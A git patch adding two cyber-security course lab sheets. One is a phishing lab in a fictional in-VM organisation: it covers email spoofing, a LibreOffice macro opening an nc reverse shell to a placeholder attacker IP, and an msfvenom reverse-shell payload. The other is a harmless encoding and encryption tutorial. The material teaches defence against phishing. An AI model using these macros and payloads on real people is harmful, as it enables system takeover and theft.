From ff138177dfec440f90b30484c09ed6f54072fb3a Mon Sep 17 00:00:00 2001 From: "Z. Cliffe Schreuders" Date: Wed, 1 Oct 2025 14:39:16 +0100 Subject: [PATCH] Add phishing lab documentation and images - Introduced a new lab focused on human factors and social engineering through phishing simulations, emphasizing the psychological tactics used in phishing attacks. - Included detailed instructions for conducting phishing exercises, crafting malicious emails, and creating harmful attachments to understand user vulnerabilities. - Enhanced documentation with an overview, tags, categories, and a lab sheet URL for improved accessibility and user engagement. - Added multiple images to support the lab content, enhancing visual learning and engagement. --- _labs/cyber_security_landscape/3_phishing.md | 341 +++++++++++++ .../4_encoding_encryption.md | 466 ++++++++++++++++++ .../3_phishing/image-10.png | Bin 0 -> 527512 bytes .../3_phishing/image-11.png | Bin 0 -> 52933 bytes .../3_phishing/image-12.png | Bin 0 -> 13639 bytes .../3_phishing/image-13.png | Bin 0 -> 45469 bytes .../3_phishing/image-14.png | Bin 0 -> 39643 bytes .../3_phishing/image-15.png | Bin 0 -> 86153 bytes .../3_phishing/image-2.png | Bin 0 -> 290789 bytes .../3_phishing/image-3.png | Bin 0 -> 91257 bytes .../3_phishing/image-4.png | Bin 0 -> 40624 bytes .../3_phishing/image-5.png | Bin 0 -> 93682 bytes .../3_phishing/image-6.png | Bin 0 -> 52722 bytes .../3_phishing/image-7.png | Bin 0 -> 48621 bytes .../3_phishing/image-8.png | Bin 0 -> 16649 bytes .../3_phishing/image-9.png | Bin 0 -> 12708 bytes .../4_encoding_encryption/image-2.png | Bin 0 -> 70189 bytes .../4_encoding_encryption/image-3.png | Bin 0 -> 34002 bytes .../4_encoding_encryption/image-4.png | Bin 0 -> 35619 bytes 19 files changed, 807 insertions(+) create mode 100644 _labs/cyber_security_landscape/3_phishing.md create mode 100644 _labs/cyber_security_landscape/4_encoding_encryption.md create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-10.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-11.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-12.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-13.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-14.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-15.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-2.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-3.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-4.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-5.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-6.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-7.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-8.png create mode 100644 assets/images/cyber_security_landscape/3_phishing/image-9.png create mode 100644 assets/images/cyber_security_landscape/4_encoding_encryption/image-2.png create mode 100644 assets/images/cyber_security_landscape/4_encoding_encryption/image-3.png create mode 100644 assets/images/cyber_security_landscape/4_encoding_encryption/image-4.png diff --git a/_labs/cyber_security_landscape/3_phishing.md b/_labs/cyber_security_landscape/3_phishing.md new file mode 100644 index 0000000..ae8d8a8 --- /dev/null +++ b/_labs/cyber_security_landscape/3_phishing.md @@ -0,0 +1,341 @@ +--- +title: "Human Factors and Social Engineering: Phishing" +author: ["Z. Cliffe Schreuders", "Tom Shaw"] +license: "CC BY-SA 4.0" +description: "Learn about human factors in cybersecurity through hands-on phishing simulation. Practice social engineering techniques, email spoofing, and creating malicious attachments to understand how attackers exploit human psychology." +overview: | + Humans play a crucial role in the cyber security of systems and information. Many attacks target users and their mental models of cyber security systems and risk. For example, if an attacker can trick a user into performing tasks for them, the attacker can achieve their goals and gain access that they are not authorised to. Human behavior often serves as both the first line of defense and the weakest link. This lab delves into the critical role humans play in safeguarding systems and information. It highlights the fact that even the most robust technical defenses can be compromised due to human error and deception. This lab primarily focuses on a pervasive cyber threat - phishing attacks. Phishing, an artful manipulation of human psychology, lures individuals into compromising security by tricking them into revealing sensitive information, clicking malicious links, or installing malware. Through this hands-on exercise, you will gain insights into how attackers exploit human vulnerabilities, learn the tactics used to craft convincing phishing emails, and explore techniques to create malicious attachments that can compromise a user's system. + + In this lab, you will embark on a simulated cybersecurity mission within a fictitious organization. Your objective is to browse the organization's website to gather information on employees, email addresses, and their potential interests. You will then employ the tactics of engagement by sending targeted phishing emails to these individuals, using techniques such as spoofing emails, creating malicious attachments (executable programs, LibreOffice documents with macros), and more. As your victims respond to your emails, they will reveal why they trust or distrust your messages, providing invaluable feedback. The ultimate goal is to persuade these users to open the malicious attachments, granting you remote access to their systems. Your mission culminates in accessing the coveted "flag" files hidden in each victim's home directory, which you will submit as proof of your success. This lab offers a unique opportunity to understand how cybersecurity threats exploit human psychology, providing a practical foundation to enhance cyber awareness and strengthen defenses against these deceptive tactics. +tags: ["phishing", "social-engineering", "email-security", "human-factors", "malware", "macros"] +categories: ["cyber_security_landscape"] +lab_sheet_url: "https://docs.google.com/document/d/1Yb28GYRLD0Ihnb5oeFp-TGurhb8BZfm_qFbSSrGEknI/edit?usp=sharing" +type: ["ctf-lab", "lab-sheet"] +difficulty: "easy" +cybok: + - ka: "HF" + topic: "Human Error" + keywords: ["latent usability failures in systems-of-systems"] + - ka: "AB" + topic: "Attacks" + keywords: ["SOCIAL ENGINEERING", "MALICIOUS ACTIVITIES BY MALICIOUS ATTACHMENTS"] + - ka: "MAT" + topic: "Attacks and exploitation" + keywords: ["EXPLOITATION FRAMEWORKS", "MALCODE/MALWARE - SOCIAL ENGINEERING - BAITING", "MALCODE/MALWARE - SOCIAL ENGINEERING - PRETEXTING", "MALCODE/MALWARE - VIRUSES - MACRO VIRUSES", "MALCODE/MALWARE - SPAM", "MALCODE/MALWARE - SPOOFING"] + - ka: "WAM" + topic: "Client-Side Vulnerabilities and Mitigations" + keywords: ["E-MAIL - PHISHING", "E-MAIL - SPOOFING"] +--- + +# Introduction to Human Behaviour and Cyber Security + +Humans play a crucial role in the cyber security of systems and information. Many attacks target users and their mental models of cyber security systems and risk. For example, if an attacker can trick a user into performing tasks for them, the attacker can achieve their goals and gain access that they are not authorised to. + +It is often said that “the user is the weakest link in security”, because **human error** can have as much impact as a technical vulnerability, and it is often possible regardless of how strong technical defences are. + +As a consequence, cyber security awareness training is an important part of an organisation’s cyber security programme. It is also important that the security that is put in place needs to be usable/understandable and acceptable to users. + +## Introduction to Phishing {#introduction-to-phishing} + +One way that users are attacked is through phishing emails. A phishing email attack is an email that tricks the user into performing actions such as revealing sensitive information, clicking links that trigger technical web attacks, or installing malware. This lab focuses on the latter, malicious code sent via email. If an employee opens a malicious attachment, such as a document with macros or an executable program, then an attacker can take direct control of that user’s computer. + +## Preparation {#preparation} + +Access the challenge via Hacktivity. + +We have automated most of the setup required for the lab, except you need to setup Thunderbird email client manually, and disable the proxy for Firefox. + +==VM: On Kali Linux== + +==action: Login with user: kali, password: kali==. + +==action: Start by opening Thunderbird (Applications → Usual Applications → Internet → Thunderbird)==. + +![][image-2] + +Thunderbird may take a minute to start. + +==action: Enter these details:== + +* Full name: Guest +* Email address: guest@accountingnow.com +* Password: guestpassword + +![][image-3] + +![][image-4] + +==action: Click "Continue" and "Done"==. + +> Warning: **If prompted** with a warning, accept the lack of encryption between the server and the client: + +![][image-5] + +==action: "I understand the risks", "Confirm" and "Confirm security exception"==. + +> Note: In real life, you should not use email that has no encryption between the server and client. We will explore email security further in a future topic. + +![][image-6] + +==action: Click "Confirm Security Exception"==. + +==action: Click "Finish"==. + +==action: Open Firefox (Applications → Usual Applications → Internet → Firefox)==. + +Firefox may take a minute to start. + +==action: Disable the proxy in Firefox (Menu → Preferences)==: + +![][image-7] + +==action: Scroll down to the bottom of the page: Network Settings → "Settings"== + +![][image-8] + +![][image-9] + +==action: "No proxy"== + +==action: Click "OK."== + +## The aim and tasks in this lab {#the-aim-and-tasks-in-this-lab} + +This lab provides a simulated organisation scenario, where you will: + +* Browse the organisation’s website to identify employees, email addresses, potential friendships and interests. +* Send emails to them to trick them into running attachments, by crafting a convincing email by including keywords, names, spoofed email addresses, and content. +* Send them malicious attachments: executable programs, libreoffice documents. +* When you get the victims to open these attachments, you can gain remote access to their s\`stem, and get a flag for each user you trick this way. + +The aim is to get access to the “flag” file from each victim’s home directory, which contains flags for you to submit to Hacktivity. + +## Reconnaissance: browse the website {#reconnaissance:-browse-the-website} + +==VM: From within your VM==, ==action: Browse to our target organisation: http://accountingnow.com== (this is a fictional organisation that exists in your VM, don't visit the actual Internet site with this URL\!) + +![][image-10] + +==action: Look through all the pages on this website and document all the employee's names and email addresses that you can find==. + +## Engagement: send phishing emails {#engagement:-send-phishing-emails} + +==action: From your list of email addresses, try sending an email to one of them from within Thunderbird: click "Write"==. + +![][image-11] + +==action: Type a message and click "Send"==. + +==action: Check your email to see what reply you get (Click "Get Messages", wait and check again if you don't have a reply yet)==. The reply may look something like the following: + +``` +I'm not accepting this email because: + +* I don't trust the sender + +* The message doesn't include the sender's name + +* It's not addressed to me + +* It's unrelated to me + +---------- + +Hello there! +``` + +In this simulation your victims will reply and tell you why they are not choosing to trust the email (unlike in real life\!). Once they trust your email they won't reply, they will instead open any attachments they trust. + +> Hint: Each victim will only open certain types of attachments, or none at all. + +> Flag: Each victim has a flag file in their home directory, containing the flag you need to access to succeed at the challenge. + +> Tip: You can write a similar email by viewing your sent folder, and right click → "Edit As New Message". + +# Hint: Spoofing emails {#hint-spoofing-emails} + +You can change the email address that the email is sent "from" – without knowing any passwords for the accounts. This is due to a fundamental security issue in the way emails are authenticated. Not all outgoing email servers require authentication that matches the email address on the email. There are protections in place that means that emails that are sent from untrusted email servers may not be accepted; however, further discussion is outside the scope of this exercise. + +==action: To change your sender email address, click the drop-down selector next to your From address, and click "Customize From Address"==. + +![][image-12] + +> Note: In this simulation you will still receive reply messages, unlike real life where replies would be sent to the spoofed email address. + +# Hint: Creating malicious attachments {#hint-creating-malicious-attachments} + +> Hint: The types of malicious attachments that you should try sending includes: + +* Executable programs +* LibreOffice Writer (word processor .odt files) with Macros +* LibreOffice Calc (spreadsheet .ods files) with Macros + +> Hint: Think about the kinds of jobs people have and which kinds of documents they are most likely to receive and open – for example, is someone working in finance most likely to accept a program or a spreadsheet? + +> Tip: If you want an additional challenge, skip these hints, and send your own payloads of choice. + +## Hint: creating malicious macros that execute when the document is opened {#hint-creating-malicious-macros-that-execute-when-the-document-is-opened} + +Office documents, such as Microsoft Word or Excel, or LibreOffice Writer or Calc, can have macros saved within them. Macros are programming scripts (often written in a Visual Basic based programming language) that can be used to automate calculations and modifications to documents, but can also access external resources and execute operating system commands. + +Due to the damage they can do, in recent years by default a document with Macros will warn the user against running untrusted macros. However, in this scenario we are dealing with users who say "ok" to everything. + +> Tip: If you want an additional challenge, skip this hint, and send your own payload of choice. + +==action: You can create a document with a macro:== + +==action: Open LibreOffice Writer (Applications → Usual Applications → Office → LibreOffice Writer)==. + +==action: Click menu Tools → Macros → Organise Macros → Basic…== + +==action: Click Untitled 1 (or the name of the current file)== + +==action: Click "New"== + +==action: Name the macro anything, such as "macro"== + +==action: Enter the source code for your Macro==. Here is an example of a macro that runs a shell command (in this case creating a file "thisisatest" in the current working directory of the program: + +```vb +Sub Main + Shell("/bin/touch", vbNormalFocus, "thisisatest") +End Sub +``` + +==action: After you have entered some code, to get the macro to run when the document is opened:== + +==action: Minimise the Macro code window==. + +==action: Click the document's menu Tools → Customise → Events (tab)== + +==action: Select "Open Document"== + +==action: Click "Macro…"== + +> Tip: If you cannot see your macro, you may have opened the 'Customise' pane via the Macro window's toolbar rather than the Document window's toolbar. + +==action: Expand the "+" next to Untitled 1, Standard, macro, and select the Main on the right==. + +![][image-13] + +==action: Type some content into your document and save it as an .odt file==. + +Now when you open the document up it will try to execute it (if your victim's macro security settings are set low, and they agree to run it). + +==action: Try open the document that you just created locally on the Kali VM in LibreOffice Writer==. + +![][image-14] + +You will see a warning at the top of the page suggesting that the macro will not run. This is due to the fact the Kali VM has a restrictive macro security setting, but this is not always the case. + +==action: In order to simulate the attack locally you should downgrade your macro security settings:== + +==action: Click the document's Tools → Options== + +==action: Select LibreOffice → Security from the side panel, then click Macro Security…== + +![][image-15] + +==action: Change the Security Level to Low== + +It is worth noting that the Medium level requires confirmation from the user, but still allows them to run macros if they accept the risks. When the user accepts the warning, macros will execute. + +Some word processors are configured this way by default and it is common for less technically proficient end-users to click through security warnings without understanding the consequences. + +==action: You can create a macro that creates a simple reverse shell using nc:== + +```vb +Sub Main + Shell("/bin/nc", vbNormalFocus, "-e /bin/sh ==edit:KALI_IP_ADDRESS== 8080") +End Sub +``` + +Where ==edit:KALI_IP_ADDRESS== is the IP address reported from: + +```bash +hostname -I +``` + +==action: On Kali, start listening for connections, before the document is opened:== + +```bash +nc -lvvp 8080 +``` + +When your victim opens the document, the reverse shell will be triggered connecting back to your Kali system. If you have started the listener, you will be greeted with shell access to the victim. + +> Tip: It can take a minute or two for LibreOffice to launch on the victim, so be patient. + +## Hint: creating malicious executable programs (malware payload) {#hint:-creating-malicious-executable-programs-(malware-payload)} + +==VM: On Kali== ==action: start a netcat listener, and leave this running; your victim will connect back to this:== + +```bash +nc -lvvp 4444 +``` + +Where ==edit:KALI_IP_ADDRESS== is the IP address reported from: + +```bash +hostname -I +``` + +==VM: On Kali== ==action: create a reverse tcp payload, by using metasploit:== + +```bash +msfvenom -a x64 --platform linux -p linux/x64/shell_reverse_tcp LHOST==edit:KALI_IP_ADDRESS== LPORT=4444 -f elf -o malware +``` + +You can send the malware file as a malicious attachment. When a victim opens it, it will connect back to your Kali system with a connection to run shell commands. + +## Hint: accessing the flag files {#hint:-accessing-the-flag-files} + +> Flag: A flag file can be found in each victim's home directory. Read the flag, by gaining shell access to their system, then running commands. + +Once you have a shell connection to the victim you can start running commands such as: + +==action: List all files, showing details:== + +```bash +ls -la +``` + +==action: Read the contents of a file named flag in the current directory:== + +```bash +cat flag +``` + +> Flag: Submit the flags to Hacktivity! + +## Conclusion {#conclusion} + +At this point you have: + +* Seen how information from public sources, such as websites can inform spear phishing attempts + +* Spoofed emails, and crafted messages to trick users + +* Experienced adversarial phishing behaviours – using macros and executable payloads to attack users + +Well done\! + +Note that these example attacks rely on poor user behaviour rather than vulnerable systems. Hopefully these attacks wouldn’t work against well informed users; however, it helps to illustrate how spear phishing attacks are conducted, and the danger of poor “cyber hygiene”. + +It is important to ensure users are cyber security aware enough not to fall for these kinds of tricks. + +[image-1]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-1.png +[image-2]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-2.png +[image-3]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-3.png +[image-4]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-4.png +[image-5]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-5.png +[image-6]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-6.png +[image-7]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-7.png +[image-8]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-8.png +[image-9]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-9.png +[image-10]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-10.png +[image-11]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-11.png +[image-12]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-12.png +[image-13]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-13.png +[image-14]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-14.png +[image-15]: {{ site.baseurl }}/assets/images/cyber_security_landscape/3_phishing/image-15.png diff --git a/_labs/cyber_security_landscape/4_encoding_encryption.md b/_labs/cyber_security_landscape/4_encoding_encryption.md new file mode 100644 index 0000000..977be7c --- /dev/null +++ b/_labs/cyber_security_landscape/4_encoding_encryption.md @@ -0,0 +1,466 @@ +--- +title: "Introduction to Cryptography: Encoding and Encryption" +author: ["Mo Hassan", "Z. Cliffe Schreuders"] +license: "CC BY-SA 4.0" +description: "Learn essential cryptography concepts through hands-on practice with encoding schemes, hash algorithms, OpenSSL, and GPG. Master data encoding, symmetric and asymmetric encryption, and key management." +overview: | + Cryptography is a fundamental aspect of information security, enabling us to secure data from prying eyes and malicious actors. This hands-on lab will equip you with essential knowledge and skills related to encoding schemes, hash algorithms, and the use of tools like OpenSSL and Gnu Privacy Guard (GPG). You'll explore concepts like encoding data into different formats, encrypting and decrypting information, and managing keys. These skills are crucial for anyone interested in the field of cybersecurity, data protection, or simply understanding how secure communication works in the digital age. + + Throughout the lab, you'll learn to encode strings into various formats, including hexadecimal and Base64. You'll experiment with symmetric key encryption using the Data Encryption Standard (DES) and the Advanced Encryption Standard (AES). Additionally, you'll explore public-key cryptography with GPG, creating and managing keys, encrypting and decrypting data, and understanding the importance of key pairs. + + In the home directory of your VM there are a series of encoding and encryption CTF challenges for you to complete, to put your knowledge into practice. +tags: ["cryptography", "encoding", "encryption", "openssl", "gpg", "base64", "aes", "des"] +categories: ["cyber_security_landscape"] +lab_sheet_url: "https://docs.google.com/document/d/1wKm2c7yxhM-9GnAiS_Mgvk_8-H7FKEBeGeMc6H0KlwA/edit?usp=sharing" +type: ["ctf-lab", "hackerbot-lab", "lab-sheet"] +difficulty: "intermediate" +cybok: + - ka: "AC" + topic: "Algorithms, Schemes and Protocols" + keywords: ["Encoding vs Cryptography", "Caesar cipher", "Vigenere cipher", "SYMMETRIC CRYPTOGRAPHY - AES (ADVANCED ENCRYPTION STANDARD)"] + - ka: "F" + topic: "Artifact Analysis" + keywords: ["Encoding and alternative data formats"] + - ka: "WAM" + topic: "Fundamental Concepts and Approaches" + keywords: ["ENCODING", "BASE64"] +--- + + + +## Purpose + +The purpose of this lab is to familiarise students with common encoding schemes, hash algorithms, basic OpenSSL and Gnu Privacy Guard (GPG). + +## Introduction to Encoding and Encryption + +There are lots of different ways of representing information. **Encoding methods** are designed to be reversible and involve transforming data into different formats. In contrast, **encryption** involves transforming data into a format that is only readable with a key or password. + +Encoding and encryption are important concepts, and the ability to identify and apply these are highly relevant skills to develop. In this lab you will familiarise yourself with common encoding methods, and some fundamental and common encryption schemes. + +> Note: You will apply these skills time and time again throughout your academic and working life in IT and cyber security. Digital forensics makes extensive use of encoding/decoding, to make sense of digital artefacts, and this also applies to other cyber security topics. + +## Are you ready to encode some data? + +**Encoding data** involves changing it into a new format using a reversible scheme. Encoding is reversible – data can be encoded into a format then decoded back to the original format. Usually encoding is done using publicly known schemes, and is typically done to make it easier to transfer, store, or use data. Encoding is often applied for compatibility reasons. + +> Tip: You can use `iconv -l` command to list all the known coded character sets ☺. + +In this section you learn how to use Linux Command Line Interface (CLI) to encode/decode using some of those schemes. + +## Character Encoding and ASCII + +For example, the string "hello!" can be represented in ASCII (decimal): +* 104 101 108 108 111 + +ASCII (American Standard Code for Information Interchange) is a character encoding scheme for electronic communication. Character encoding schemes translate text into a format so that they can be stored and transferred electronically. Most modern character encoding schemes, such as Unicode (UTF-8 being the most common) are based on ASCII, and support many more symbols, such as emoji (😃). + +In the above example, we are using a decimal format: base 10, like our typical number system we use in mathematics, using the 10 numbers: 0, 1, 2, 3, 4, 5, 6, 7, 8, and 9. + +## Convert a string to byte and then to hex + +You can use any Linux distribution for this lab, please refer to Hacktivity guide to create your own VM. + +==action: Open Linux CLI and type python3 (to open python3 command prompt) followed by the code below:== + +```python +myString="Valhalla!".encode('utf-8') +myStringInHex=myString.hex() +print(myStringInHex) +# Of course you can use print function directly +print(myString.hex()) +``` + +## Hexadecimal (base 16) and Binary (base 2) + +Likewise "hello!" also translates to "68 65 6c 6c 6f 21" in hex (hexadecimal), and "01101000 01100101 01101100 01101100 01101111 00100001" in binary. + +==action: Run these commands in a Linux shell:== + +```bash +echo hello! | xxd -b +``` + +```bash +echo hello! | xxd +``` + +Hexadecimal (also known simply as "hex") is a base 16 numeral system. That is, the information is represented using the 16 symbols: 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, a, b, c, d, e, f. + +Hex is also a common way of displaying "binary data"; that is, non-text data, which is not human readable. For example, pixels in an image are not made up of human readable text (if binary data is translated to ASCII it results in gibberish use of symbols). + +> Note: There are many practical reasons for doing these translations between formats. For example, if we want to store any data to disk (whether text or an image), the storage medium itself records data in a binary format. + +## Base64 + +Another popular encoding method is Base64, which uses the symbols: 0-9, a-Z, A-Z, +, /, and also uses = for padding. Base64 is often used with Web technologies, as a safe way of encoding binary data (and is more efficient than using hex). + +Base-N encoding is simply a representation of sequence octets in a form that allows the use of both upper and lowercase letters but that need not be human readable. In Base-64, a 65-character subset of US-ASCII is used, enabling 6 bits to be represented per printable character. (The extra 65th character, "=", is used "usually" for padding). The encoding process represents 24-bit groups of input bits as output strings of 4 encoded characters. Proceeding from left to right, a 24-bit input group is formed by concatenating 3 8-bit input groups. These 24 bits are then treated as 4 concatenated 6-bit groups, each of which is translated into a single character in the base 64 alphabet. Each 6-bit group is used as an index into an array of 64 printable characters. The character referenced by the index is placed in the output string\[RFC4648\] + +![][image-2] +*Figure 1: The Base 64 Alphabet* + +![][image-3] +*Figure 2: Example of base64 encoding (no padding used)* + +![][image-4] +*Figure 3: Example of base64 encoding (with pad "=")* + +==action: Open Linux CLI and type the following commands:== + +```bash +echo "0x14fb9c03d97e" | xxd -r -p | base64 +echo "0x14fb9c03" | xxd -r -p | base64 +``` + +> Note: The output should match the above examples (figures 2 and 3) + +==action: Another basic example of encoding and decoding data using base64:== + +```bash +echo "Valhalla" | base64 +``` + +Output: +``` +VmFsaGFsbGEK +``` + +==action: To decode:== + +```bash +echo "VmFsaGFsbGEK" | base64 -d +``` +``` +Valhalla +``` + +> Tip: Congratulations! you are now an expert in encoding and decoding data ☺ + +## Let's do a bit more + +==action: Still using Linux command prompt:== + +```bash +echo "Valhalla" | xxd -p +``` +``` +56616c68616c6c610a +``` + +```bash +echo "Valhalla" | base64 | xxd -p +``` +``` +566d4673614746736247454b0a +``` + +```bash +echo "566d4673614746736247454b0a" | xxd -r -p | base64 -d +``` +``` +Valhalla +``` + +==action: Try to understand what is going on and use different words/strings...== + +> Hint: Use `man base64` and `man xxd` to understand the command options/switches... + +==action: Let's create a file and name it fruitSalad.txt== + +We'll use iconv command, which is a tool to convert text from one character encoding to another. + +> Tip: You can use `iconv -l` to list known encoding scheme. + +```bash +cat << EOF > fruitSalad.txt +Banana =+ +Orange ?! +Apple &^% +Strawberry $"/ +Appricot ' |Z +$Grapefruit% +==-Graps?() +EOF +``` + +==action: Convert fruitSalad.txt to something else:== + +```bash +iconv -f ASCII fruitSalad.txt -t EBCDIC-CP-GB -o fileEncoded.xyz +``` + +```bash +cat fruitSalad.txt +``` + +==action: To reverse the operation (decode), run this command:== + +```bash +iconv -f EBCDIC-CP-GB fileEncoded.xyz -t ASCII +``` + +> Hint: Use `man iconv` to understand the command options/switches... + +## Introduction to Cryptography and Encryption + +**Cryptography** is the study of secure communication in the presence of third parties, or "the art and science of concealing meaning" (Matt Bishop). The word "cryptography" is from Greek words meaning "secret writing". Cryptography can maintain data security in an insecure environment. Modern crypto employs complex math to achieve this. The emphasis of this lab is on implementation and system security, not the mathematics itself. + +## Simple encryption/decryption using OpenSSL + +OpenSSL is a cryptography toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) network protocols and related cryptography standards required by them. +The openssl program is a command line tool for using the various cryptography functions of OpenSSL's crypto library from the shell. It can be used for: + +* Creation and management of private keys, public keys and parameters + +* Public key cryptographic operations + +* Creation of X.509 certificates, CSRs and CRLs + +* Calculation of Message Digests + +* Encryption and Decryption with Ciphers + +* SSL/TLS Client and Server Tests + +* Handling of S/MIME signed or encrypted mail + +* Time Stamp requests, generation and verification + +==action: To list the cipher commands & algorithms supported by OpenSSL, type the following commands:== + +```bash +openssl list -cipher-commands +``` + +```bash +openssl list -cipher-algorithms +``` + +## Symmetric Key Cryptography + +**Symmetric key cryptosystems** use the same key to encrypt and decrypt. As shown in the figure below, the plaintext data is encrypted using a key to produce ciphertext, and using the same key produces the original plaintext. + +> Note: Which is more secure: AES or DES? + +There are many tools to perform encryption, including OpenSSL. + +> Question: What is the name of the high-impact security vulnerability that was discovered in OpenSSL in 2014? Does this affect the security of symmetric key encryption? + +## Data Encryption Standard (DES) + +Data Encryption Standard (DES) is a block cipher designed by IBM in 1970s and was based on Feistel Cipher. It is a symmetric key algorithm uses key size of 56-bit (keyspace is 256) which is too small to be secure nowadays. + +==action: Create a file and name it coconut.txt either using your preferable text editor or directly from the Linux terminal as per the example below:== + +```bash +cat << EOF > coconut.txt +What 8-letter word can have a letter taken away and it still makes +a word; take another letter away and it still makes a word; +keep on doing that until you have one letter left. What is the word? +EOF +``` + +==action: Now, we'll use DES (symmetric-key) algorithm to encrypt coconut.txt:== + +```bash +openssl enc -e -des-cbc -pbkdf2 -in coconut.txt -out coconut.enc +``` + +> Note: You will be prompt to enter a password (the key) +> Warning: The password will NOT be echoed (printed to the screen) + +The above command will use Data Encryption Standard (DES) cipher with CBC mode to encrypt coconut.txt using a key derived from a password. + +| enc | encoding with ciphers | +| \-des-cbc | des algorithm with cipher block chaining (cbc) mode | +| \-pbkdf2 | password-based key derivation function 2 | +| \-in | input file | +| \-out | output file | + + +==action: To decrypt:== + +```bash +openssl enc -des-cbc -d -in coconut.enc -out getMyFileBack.txt +``` + +> Note: `-d` here for decryption + +> Question: This nicely illustrates the key distribution problem. What is the "key distribution problem"? + +## Advanced Encryption Standard (AES) + +* AES is a 128-bit block (symmetric-key based) cipher with a variable key size of 128, 192 or 256 bits. It uses a mix of encryption/decryption techniques such as substitution, permutation, shifting and xoring (for key generation). + +==action: In this example we'll encrypt coconut.txt using openssl (aes):== + +```bash +openssl enc -e -aes-128-cbc -pbkdf2 -k Hello -in coconut.txt -out coconut-eas-128.enc +``` + +> Note: `-k` here is for a passphrase + +==action: To decrypt:== + +```bash +openssl enc -d -aes-128-cbc -pbkdf2 -in coconut-eas-128.enc -out coconut-decrypted-128.txt +``` + +> Note: You will need to enter the passphrase used ("Hello" as per the above example). + +> Tip: You can use key size of 128-bit or 192-bit or 256-bit (-aes-128-cbc, -aes-192-cbc, -aes-256-cbc) in CBC mode or ECB mode (e.g. -aes-256-ecb). + +## Public Key (AKA Asymmetric) Cryptography + +**Public key (AKA asymmetric) cryptosystems** use separate keys for encryption and decryption. It is safe to tell anyone the encryption key, and only the person holding the decryption key can determine the original message. + +Public keys can be made public: for example, used to encrypt messages intended for only the holder of the private key. + +> Warning: Private keys must be kept secret (as with asymmetric keys): for example, used to decrypt messages. If a private key is known by a third party they can decrypt and modify any previous communications. + +> Question: What are the disadvantages of sharing public keys via insecure channels? + +## Gnu Privacy Guard (GPG) + +GNU Privacy Guard (GnuPG) is an FOSS alternative to Pretty Good Privacy (PGP), following the OpenPGP standard, which provides public key crypto. + +* GPG Manual: http://www.gnupg.org/gph/en/manual.html + +==action: To create a key:== + +```bash +gpg --gen-key +``` + +You'll be prompted to enter a password or passphrase (for your private/secret key), you can leave it blank. However, it is highly recommended to create one. + +==action: Export a public key into file public.key:== + +```bash +gpg --export -a "User Name" > yourname_publicKey.txt +``` + +> Note: The above command will create a file called yourname_publicKey.txt with the ascii representation of the public key for User Name. + +==action: Export a private key:== + +```bash +gpg --export-secret-key -a "User Name" > yourname_privateKey.txt +``` + +> Note: The above command will create a file called yourname_privateKey.txt with the ascii representation of the private key for User Name. + +==action: To list the keys in your public key ring:== + +```bash +gpg --list-key +``` + +==action: To list the keys in your secret key ring:== + +```bash +gpg --list-secret-keys +``` + +==action: To generate a short list of numbers that you can use via an alternative method to verify a public key, use:== + +```bash +gpg --fingerprint > fingerprint +``` + +==action: To encrypt data:== + +```bash +gpg -e -u "Sender User Name" -r "Receiver User Name" file +``` + +The recipient (Receiver User Name) public key should be imported to your key ring first. + +> Note: File here is the plaintext, after the encryption process a ciphertext will be generated as file.gpg within the current working directory, which can be decrypted as per the example below. + +==action: To decrypt data:== + +```bash +gpg -d file.gpg +``` + +==action: To edit/revoke key:== + +```bash +gpg --edit-key Username +``` + +```bash +gpg --gen-revoke Username +``` + +## Using stand alone VM + +You will have generated your public key in step no. 1 + +You can use a stand alone testing environment and create two users on the same machine, exchange the keys and test using the commands below. + +==action: Create two users:== + +```bash +sudo useradd -m -s /bin/bash user1 ; sudo useradd -m -s /bin/bash user2 +``` + +==action: Generate pair of keys for each user and export ONLY public key to a file:== + +```bash +gpg --gen-key +``` + +```bash +gpg --export -a "user1" > user1_publicKey.txt +``` + +> Note: Do the same as above for user2 + +==action: Exchange public keys between user1 and user2:== + +> Note: As user1 import user2 public key (and of course vise versa) + +```bash +gpg --import user2_publicKey.txt +``` + +==action: Create a file (message/plaintext) and encrypt it with user2's public key as per the example in step 7 above.== + +==action: User2 can decrypt the message sent from user1 as per the example in step no. 8== + +## CTF Challenges + +> Flag: We have VMs on Hacktivity containing some challenges related to basic cryptography, mainly encoding, hashing, etc.. + +==action: Log-in to Hacktivity (https://hacktivity.leedsbeckett.ac.uk/hacktivities/53)==. + +==action: Click on Activate and start challenge, then click on Desktop to start the VM, this may take a few minutes==. + +Once the VM is up and running, you should be able to login automatically. + +You will find all of the challenges in the user's home directory (e.g. /home/random_name) and under /srv directory. + +Mainly, there are four directories you need to work on, three under /home/user-name/{encoded, encrypted, secrets} and one under /srv. + +> Tip: Also, CyberChef (a nice and handy tool to explore cryptography) will be loaded automatically, feel free to use it for the CTF challenges or any other tool(s) if you wish. + +> Flag: All of the flags in the form of: flag{astringofrandomwords} – all lowercase, so if the encoding method doesn't support case, you will need to convert yourself. + 